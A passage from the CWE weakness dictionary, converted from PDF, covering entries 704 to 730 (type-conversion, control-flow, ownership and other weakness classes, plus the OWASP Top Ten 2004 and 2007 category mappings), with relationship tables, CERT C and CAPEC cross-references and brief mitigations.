Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995-08-01. < http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-msthesis.pdf >.

Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995-08-01. < http://csrc.nist.gov/nissc/1996/papers/NISSC96/paper057/PAPER.PDF >.

CWE-704: Incorrect Type Conversion or Cast

Weakness ID: 704 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not properly convert an object, resource or structure from one type to a different type.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C *(Often)*
- C++ *(Often)*
- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ChildOf	C	737	CERT C Secure Coding Section 03 - Expressions (EXP)	**734**	725

Nature	Type	ID	Name	V	Page
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734	727
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	734	730
ParentOf	WW	*588*	*Attempt to Access Child of a Non-structure Pointer*	***1000***	*579*
ParentOf	WE	*681*	*Incorrect Conversion between Numeric Types*	***1000***	*673*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	EXP05-C	Do not cast away a const qualification
CERT C Secure Coding	MSC31-C	Ensure that return values are compared against the proper type
CERT C Secure Coding	STR34-C	Cast characters to unsigned types before converting to larger integer sizes
CERT C Secure Coding	STR37-C	Arguments to character handling functions must be representable as an unsigned char

CWE-705: Incorrect Control Flow Scoping

Weakness ID: 705 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	691	Insufficient Control Flow Management	**1000**	682
ChildOf	C	744	CERT C Secure Coding Section 10 - Environment (ENV)	**734**	729
ChildOf	C	746	CERT C Secure Coding Section 12 - Error Handling (ERR)	734	730
ParentOf	WW	*382*	*J2EE Bad Practices: Use of System.exit()*	***1000***	*407*
ParentOf	WE	*396*	*Declaration of Catch for Generic Exception*	***1000***	*421*
ParentOf	WE	*397*	*Declaration of Throws for Generic Exception*	***1000***	*422*
ParentOf	WE	*455*	*Non-exit on Failed Initialization*	***1000***	*477*
ParentOf	WE	*584*	*Return Inside Finally Block*	***1000***	*577*
ParentOf	WE	*698*	*Redirect Without Exit*	***1000***	*688*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	ENV32-C	All atexit handlers must return normally
CERT C Secure Coding	ERR04-C	Choose an appropriate termination strategy

CWE-706: Use of Incorrectly-Resolved Name or Reference

Weakness ID: 706 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Weakness	99	Improper Control of Resource Identifiers ('Resource Injection')	1000	118
ParentOf	Weakness	*22*	*Path Traversal*	***1000***	*22*
ParentOf	Weakness	*41*	*Improper Resolution of Path Equivalence*	***1000***	*43*
ParentOf	Weakness	*59*	*Improper Link Resolution Before File Access ('Link Following')*	***1000***	*54*
ParentOf	Weakness	*66*	*Improper Handling of File Names that Identify Virtual Resources*	***1000***	*61*
ParentOf	Compound	*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	***1000***	*116*
ParentOf	Weakness	*178*	*Failure to Resolve Case Sensitivity*	***1000***	*206*
ParentOf	Weakness	*386*	*Symbolic Name not Mapping to Correct Object*	***1000***	*412*
MemberOf	View	*1000*	*Research Concepts*	***1000***	*737*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
38	Leveraging/Manipulating Configuration File Search Paths	
48	Passing Local Filenames to Functions That Expect a URL	

CWE-707: Failure to Enforce that Messages or Data are Well-Formed

Weakness ID: 707 *(Weakness Class)* **Status:** Incomplete

Description

Summary

When communicating with other components, the software does not properly enforce that structured messages or data are well-formed before being read from or sent to that component. This causes the message to be incorrectly interpreted.

Extended Description

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Weakness	*74*	*Failure to Sanitize Data into a Different Plane ('Injection')*	***1000***	*70*
ParentOf	Weakness	*116*	*Improper Encoding or Escaping of Output*	***1000***	*136*
ParentOf	Weakness	*138*	*Improper Sanitization of Special Elements*	***1000***	*169*
ParentOf	Weakness	*170*	*Improper Null Termination*	***1000***	*196*
ParentOf	Weakness	*172*	*Encoding Error*	***1000***	*200*
ParentOf	Weakness	*228*	*Improper Handling of Syntactically Invalid Structure*	***1000***	*255*
ParentOf	Weakness	*240*	*Improper Handling of Inconsistent Structural Elements*	*1000*	*262*
ParentOf	Weakness	*463*	*Deletion of Data Structure Sentinel*	***1000***	*484*
ParentOf	Weakness	*464*	*Addition of Data Structure Sentinel*	*1000*	*485*
MemberOf	View	*1000*	*Research Concepts*	***1000***	*737*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
4	Using Alternative IP Address Encodings	
7	Blind SQL Injection	
33	HTTP Request Smuggling	
34	HTTP Response Splitting	
43	Exploiting Multiple Input Interpretation Layers	
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
66	SQL Injection	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
83	XPath Injection	
84	XQuery Injection	

CWE-708: Incorrect Ownership Assignment

Weakness ID: 708 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software assigns the wrong owner to a resource, allowing it to be manipulated by actors outside of the intended control sphere.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-1064	Product changes the ownership of files that a symlink points to, instead of the symlink itself.
CVE-2005-3148	Backup software restores symbolic links with incorrect uid/gid.
CVE-2007-1716	Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation.
CVE-2007-4238	OS installs program with bin owner/group, allowing modification.
CVE-2007-5101	File system sets wrong ownership and group when creating a new file.

Potential Mitigations

Periodically review the privileges and their owners.

Use automated tools to check for privilege settings.

Other Notes

This overlaps verification errors, permissions, and privileges.

A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	282	Improper Ownership Management	**699** **1000**	307
CanAlsoBe	Wc	345	Insufficient Verification of Data Authenticity	1000	367
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716

CWE-709: Named Chains

View ID: 709 *(View: Graph)* **Status:** Incomplete

Objective

This view (graph) displays Named Chains and their components.

View Data

Filter Used:

.//@Compound_Element_Structure='Chain'

View Metrics

	CWEs in this view		Total CWEs
Total	**3**	out of	777
Views	0	out of	22
Categories	0	out of	105
Weaknesses	0	out of	638
Compound_Elements	3	out of	12

CWEs Included in this View

Type	ID	Name
	680	Integer Overflow to Buffer Overflow
	690	Unchecked Return Value to NULL Pointer Dereference
	692	Incomplete Blacklist to Cross-Site Scripting

CWE-710: Coding Standards Violation

Weakness ID: 710 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Document and closely follow coding standards.

Where possible, use automated tools to enforce the standards.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	W	*227*	*Failure to Fulfill API Contract ('API Abuse')*	***1000***	*254*
ParentOf	W	*242*	*Use of Inherently Dangerous Function*	***1000***	*263*
ParentOf	W	*398*	*Indicator of Poor Code Quality*	***1000***	*423*
ParentOf	W	*506*	*Embedded Malicious Code*	***1000***	*529*
ParentOf	W	*657*	*Violation of Secure Design Principles*	***1000***	*645*
ParentOf	W	*758*	*Reliance on Undefined, Unspecified, or Implementation-Defined Behavior*	***1000***	*735*
MemberOf	V	*1000*	*Research Concepts*	***1000***	*737*

CWE-711: Weaknesses in OWASP Top Ten (2004)

View ID: 711 *(View: Graph)* **Status:** Incomplete

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**126**	out of	777
Views	0	out of	22

	CWEs in this view		Total CWEs
Categories	16	out of	105
Weaknesses	107	out of	638
Compound_Elements	3	out of	12

View Audience

Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

Software Customers

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

Relationships

Nature	Type	ID	Name	V	Page
HasMember		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716
HasMember		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
HasMember		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
HasMember		725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	**711**	718
HasMember		726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	**711**	718
HasMember		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	**711**	718
HasMember		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
HasMember		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719
HasMember		730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720
HasMember		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Relationship Notes

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

References

"Top 10 2004". OWASP. 2004-01-27. < http://www.owasp.org/index.php/Top_10_2004 >.
PCI Security Standards Council. "About the PCI Data Security Standard (PCI DSS)". < https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml >.

Maintenance Notes

Some parts of CWE are not fully fleshed out in terms of weaknesses. When these areas were mentioned in the Top Ten, category nodes were mapped, although general mapping practice would usually favor mapping only to weaknesses.

CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)

Category ID: 712 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*79*	*Failure to Preserve Web Page Structure ('Cross-site Scripting')*	***629***	*83*
MemberOf	V	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*

References

OWASP. "Top 10 2007-Cross Site Scripting". 2007. < http://www.owasp.org/index.php/Top_10_2007-A1 >.

CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws

Category ID: 713 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*77*	*Failure to Sanitize Data into a Control Plane ('Command Injection')*	***629***	*74*
ParentOf		*89*	*Failure to Preserve SQL Query Structure ('SQL Injection')*	***629***	*99*
ParentOf		*90*	*Failure to Sanitize Data into LDAP Queries ('LDAP Injection')*	***629***	*106*
ParentOf		*91*	*XML Injection (aka Blind XPath Injection)*	***629***	*107*
ParentOf		*93*	*Failure to Sanitize CRLF Sequences ('CRLF Injection')*	***629***	*109*
MemberOf	V	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*

CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution

Category ID: 714 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*78*	*Failure to Preserve OS Command Structure ('OS Command Injection')*	***629***	*77*
ParentOf		*95*	*Improper Sanitization of Directives in Dynamically Evaluated Code ('Eval Injection')*	***629***	*112*
ParentOf		*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	***629***	*116*
ParentOf		*434*	*Unrestricted File Upload*	***629***	*461*
MemberOf	V	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*

CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference

Category ID: 715 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*22*	*Path Traversal*	***629***	*22*

Nature	Type	ID	Name	V	Page
ParentOf	Weakness Base	*472*	*External Control of Assumed-Immutable Web Parameter*	***629***	*493*
MemberOf	View	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*
ParentOf	Weakness Base	*639*	*Access Control Bypass Through User-Controlled Key*	***629***	*621*

References

OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. < http://www.owasp.org/index.php/Top_10_2007-A4 >.

CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)

Category ID: 716 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Compound	*352*	*Cross-Site Request Forgery (CSRF)*	***629***	*373*
MemberOf	View	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*

References

OWASP. "Top 10 2007-Cross Site Request Forgery". 2007. < http://www.owasp.org/index.php/Top_10_2007-A5 >.

CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling

Category ID: 717 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Weakness Class	*200*	*Information Leak (Information Disclosure)*	***629***	*230*
ParentOf	Weakness Class	*203*	*Discrepancy Information Leaks*	***629***	*233*
ParentOf	Weakness Base	*209*	*Error Message Information Leak*	***629***	*238*
ParentOf	Weakness Variant	*215*	*Information Leak Through Debug Information*	***629***	*245*
MemberOf	View	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*

References

OWASP. "Top 10 2007-Information Leakage and Improper Error Handling". 2007. < http://www.owasp.org/index.php/Top_10_2007-A6 >.

CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management

Category ID: 718 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Weakness Class	*287*	*Improper Authentication*	***629***	*312*
ParentOf	Weakness Variant	*301*	*Reflection Attack in an Authentication Protocol*	***629***	*327*
ParentOf	Weakness Base	*522*	*Insufficiently Protected Credentials*	***629***	*537*
MemberOf	View	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*

References

OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. < http://www.owasp.org/index.php/Top_10_2007-A7 >.

CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage

Category ID: 719 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	We	*311*	*Failure to Encrypt Sensitive Data*	***629***	*336*
ParentOf	We	*321*	*Use of Hard-coded Cryptographic Key*	***629***	*344*
ParentOf	We	*325*	*Missing Required Cryptographic Step*	***629***	*349*
ParentOf	We	*326*	*Weak Encryption*	***629***	*349*
MemberOf	V	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*

References

OWASP. "Top 10 2007-Insecure Cryptographic Storage". 2007. < http://www.owasp.org/index.php/Top_10_2007-A8 >.

CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications

Category ID: 720 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	We	*311*	*Failure to Encrypt Sensitive Data*	*629*	*336*
ParentOf	We	*321*	*Use of Hard-coded Cryptographic Key*	*629*	*344*
ParentOf	We	*325*	*Missing Required Cryptographic Step*	*629*	*349*
ParentOf	We	*326*	*Weak Encryption*	*629*	*349*
MemberOf	V	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*

References

OWASP. "Top 10 2007-Insecure Communications". 2007. < http://www.owasp.org/index.php/Top_10_2007-A9 >.

CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access

Category ID: 721 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2007.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	We	*285*	*Improper Access Control (Authorization)*	***629***	*310*
ParentOf	We	*288*	*Authentication Bypass Using an Alternate Path or Channel*	***629***	*314*
ParentOf	We	*425*	*Direct Request ('Forced Browsing')*	***629***	*451*
MemberOf	V	*629*	*Weaknesses in OWASP Top Ten (2007)*	***629***	*613*

References

OWASP. "Top 10 2007-Failure to Restrict URL Access". 2007. < http://www.owasp.org/index.php/Top_10_2007-A10 >.

CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input

Category ID: 722 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wc	*20*	*Improper Input Validation*	***711***	*14*
ParentOf	Wc	*77*	*Failure to Sanitize Data into a Control Plane ('Command Injection')*	*711*	*74*
ParentOf	Wa	*79*	*Failure to Preserve Web Page Structure ('Cross-site Scripting')*	*711*	*83*
ParentOf	Wa	*89*	*Failure to Preserve SQL Query Structure ('SQL Injection')*	*711*	*99*
ParentOf	Ww	*102*	*Struts: Duplicate Validation Forms*	***711***	*120*
ParentOf	Ww	*103*	*Struts: Incomplete validate() Method Definition*	***711***	*121*
ParentOf	Ww	*104*	*Struts: Form Bean Does Not Extend Validation Class*	***711***	*122*
ParentOf	Ww	*106*	*Struts: Plug-in Framework not in Use*	***711***	*124*
ParentOf	Ww	*109*	*Struts: Validator Turned Off*	***711***	*126*
ParentOf	B	*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	*711*	*148*
ParentOf	Wa	*166*	*Improper Handling of Missing Special Element*	***711***	*193*
ParentOf	Wa	*167*	*Improper Handling of Additional Special Element*	***711***	*194*
ParentOf	Wa	*179*	*Incorrect Behavior Order: Early Validation*	***711***	*207*
ParentOf	Wa	*180*	*Incorrect Behavior Order: Validate Before Canonicalize*	***711***	*208*
ParentOf	Wa	*181*	*Incorrect Behavior Order: Validate Before Filter*	***711***	*209*
ParentOf	Wa	*182*	*Collapse of Data Into Unsafe Value*	***711***	*210*
ParentOf	Wa	*183*	*Permissive Whitelist*	***711***	*211*
ParentOf	Wa	*425*	*Direct Request ('Forced Browsing')*	*711*	*451*
ParentOf	Wa	*472*	*External Control of Assumed-Immutable Web Parameter*	***711***	*493*
ParentOf	Ww	*601*	*URL Redirection to Untrusted Site ('Open Redirect')*	***711***	*589*
ParentOf	Wa	*602*	*Client-Side Enforcement of Server-Side Security*	***711***	*590*
MemberOf	V	*711*	*Weaknesses in OWASP Top Ten (2004)*	***711***	*711*

References

OWASP. "A1 Unvalidated Input". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-723: OWASP Top Ten 2004 Category A2 - Broken Access Control

Category ID: 723 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Ww	*9*	*J2EE Misconfiguration: Weak Access Permissions for EJB Methods*	***711***	*6*
ParentOf	Wc	*22*	*Path Traversal*	***711***	*22*
ParentOf	Wa	*41*	*Improper Resolution of Path Equivalence*	***711***	*43*
ParentOf	Wc	*73*	*External Control of File Name or Path*	***711***	*67*
ParentOf	Wa	*266*	*Incorrect Privilege Assignment*	***711***	*291*
ParentOf	Wa	*268*	*Privilege Chaining*	***711***	*294*

Nature	Type	ID	Name	V	Page
ParentOf	C	275	Permission Issues	711	302
ParentOf	W	283	Unverified Ownership	711	308
ParentOf	W	284	Access Control (Authorization) Issues	711	309
ParentOf	W	285	Improper Access Control (Authorization)	711	310
ParentOf	W	330	Use of Insufficiently Random Values	711	355
ParentOf	W	425	Direct Request ('Forced Browsing')	711	451
ParentOf	W	525	Information Leak Through Browser Caching	711	539
ParentOf	W	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	711	555
ParentOf	W	556	ASP.NET Misconfiguration: Use of Identity Impersonation	711	558
ParentOf	W	639	Access Control Bypass Through User-Controlled Key	711	621
ParentOf	W	708	Incorrect Ownership Assignment	711	710
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	711

References

OWASP. "A2 Broken Access Control". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management

Category ID: 724 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	255	Credentials Management	711	279
ParentOf	W	259	Hard-Coded Password	711	283
ParentOf	W	287	Improper Authentication	711	312
ParentOf	W	296	Improper Following of Chain of Trust for Certificate Validation	711	322
ParentOf	W	298	Improper Validation of Certificate Expiration	711	324
ParentOf	W	302	Authentication Bypass by Assumed-Immutable Data	711	329
ParentOf	W	304	Missing Critical Step in Authentication	711	330
ParentOf	W	307	Failure to Restrict Excessive Authentication Attempts	711	332
ParentOf	W	309	Use of Password System for Primary Authentication	711	334
ParentOf	W	345	Insufficient Verification of Data Authenticity	711	367
ParentOf	B	384	Session Fixation	711	408
ParentOf	W	521	Weak Password Requirements	711	537
ParentOf	W	522	Insufficiently Protected Credentials	711	537
ParentOf	W	525	Information Leak Through Browser Caching	711	539
ParentOf	W	592	Authentication Bypass Issues	711	582
ParentOf	W	613	Insufficient Session Expiration	711	599
ParentOf	W	620	Unverified Password Change	711	605
ParentOf	W	640	Weak Password Recovery Mechanism for Forgotten Password	711	622
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	711

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
31	Accessing/Intercepting/Modifying HTTP Cookies
57	Utilizing REST's Trust in the System Resource to Register Man in the Middle
94	Man in the Middle Attack

References

OWASP. "A3 Broken Authentication and Session Management". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws

Category ID: 725 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Weakness	*79*	*Failure to Preserve Web Page Structure ('Cross-site Scripting')*	***711***	*83*
ParentOf	Weakness	*644*	*Improper Sanitization of HTTP Headers for Scripting Syntax*	***711***	*630*
MemberOf	V	*711*	*Weaknesses in OWASP Top Ten (2004)*	***711***	*711*

References

OWASP. "A4 Cross-Site Scripting (XSS) Flaws". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows

Category ID: 726 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Weakness	*119*	*Failure to Constrain Operations within the Bounds of a Memory Buffer*	***711***	*144*
ParentOf	Compound	*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	***711***	*148*
ParentOf	Weakness	*134*	*Uncontrolled Format String*	***711***	*164*
MemberOf	V	*711*	*Weaknesses in OWASP Top Ten (2004)*	***711***	*711*

References

OWASP. "A5 Buffer Overflows". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws

Category ID: 727 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Weakness	*74*	*Failure to Sanitize Data into a Different Plane ('Injection')*	***711***	*70*
ParentOf	Weakness	*77*	*Failure to Sanitize Data into a Control Plane ('Command Injection')*	***711***	*74*
ParentOf	Weakness	*78*	*Failure to Preserve OS Command Structure ('OS Command Injection')*	***711***	*77*
ParentOf	Weakness	*89*	*Failure to Preserve SQL Query Structure ('SQL Injection')*	***711***	*99*
ParentOf	Weakness	*91*	*XML Injection (aka Blind XPath Injection)*	***711***	*107*
ParentOf	Weakness	*95*	*Improper Sanitization of Directives in Dynamically Evaluated Code ('Eval Injection')*	***711***	*112*

Nature	Type	ID	Name	V	Page
ParentOf		*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	***711***	*116*
ParentOf		*117*	*Improper Output Sanitization for Logs*	***711***	*141*
MemberOf	V	*711*	*Weaknesses in OWASP Top Ten (2004)*	***711***	*711*

References

OWASP. "A6 Injection Flaws". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling

Category ID: 728 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*7*	*J2EE Misconfiguration: Missing Custom Error Page*	***711***	*4*
ParentOf		*203*	*Discrepancy Information Leaks*	***711***	*233*
ParentOf		*209*	*Error Message Information Leak*	***711***	*238*
ParentOf		*228*	*Improper Handling of Syntactically Invalid Structure*	***711***	*255*
ParentOf		*252*	*Unchecked Return Value*	***711***	*274*
ParentOf		*388*	*Error Handling*	***711***	*413*
ParentOf		*390*	*Detection of Error Condition Without Action*	***711***	*415*
ParentOf		*391*	*Unchecked Error Condition*	***711***	*417*
ParentOf		*394*	*Unexpected Status Code or Return Value*	***711***	*420*
ParentOf		*636*	*Not Failing Securely ('Failing Open')*	***711***	*617*
MemberOf	V	*711*	*Weaknesses in OWASP Top Ten (2004)*	***711***	*711*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
28	Fuzzing	

References

OWASP. "A7 Improper Error Handling". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage

Category ID: 729 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*14*	*Compiler Removal of Code to Clear Buffers*	***711***	*10*
ParentOf		*226*	*Sensitive Information Uncleared Before Release*	***711***	*252*
ParentOf		*261*	*Weak Cryptography for Passwords*	***711***	*287*
ParentOf		*311*	*Failure to Encrypt Sensitive Data*	***711***	*336*
ParentOf		*321*	*Use of Hard-coded Cryptographic Key*	***711***	*344*
ParentOf		*326*	*Weak Encryption*	***711***	*349*
ParentOf		*327*	*Use of a Broken or Risky Cryptographic Algorithm*	***711***	*351*
ParentOf		*539*	*Information Leak Through Persistent Cookies*	***711***	*547*
ParentOf		*591*	*Sensitive Data Storage in Improperly Locked Memory*	***711***	*582*
ParentOf		*598*	*Information Leak Through Query Strings in GET Request*	***711***	*587*

Nature	Type	ID	Name	V	Page
MemberOf	V	*711*	*Weaknesses in OWASP Top Ten (2004)*	***711***	*711*

References

OWASP. "A8 Insecure Storage". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service

Category ID: 730 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	*170*	*Improper Null Termination*	***711***	*196*
ParentOf	B	*248*	*Uncaught Exception*	***711***	*269*
ParentOf	B	*369*	*Divide By Zero*	***711***	*395*
ParentOf	V	*382*	*J2EE Bad Practices: Use of System.exit()*	***711***	*407*
ParentOf	B	*400*	*Uncontrolled Resource Consumption ('Resource Exhaustion')*	***711***	*425*
ParentOf	B	*401*	*Failure to Release Memory Before Removing Last Reference ('Memory Leak')*	***711***	*427*
ParentOf	B	*404*	*Improper Resource Shutdown or Release*	***711***	*431*
ParentOf	C	*405*	*Asymmetric Resource Consumption (Amplification)*	***711***	*435*
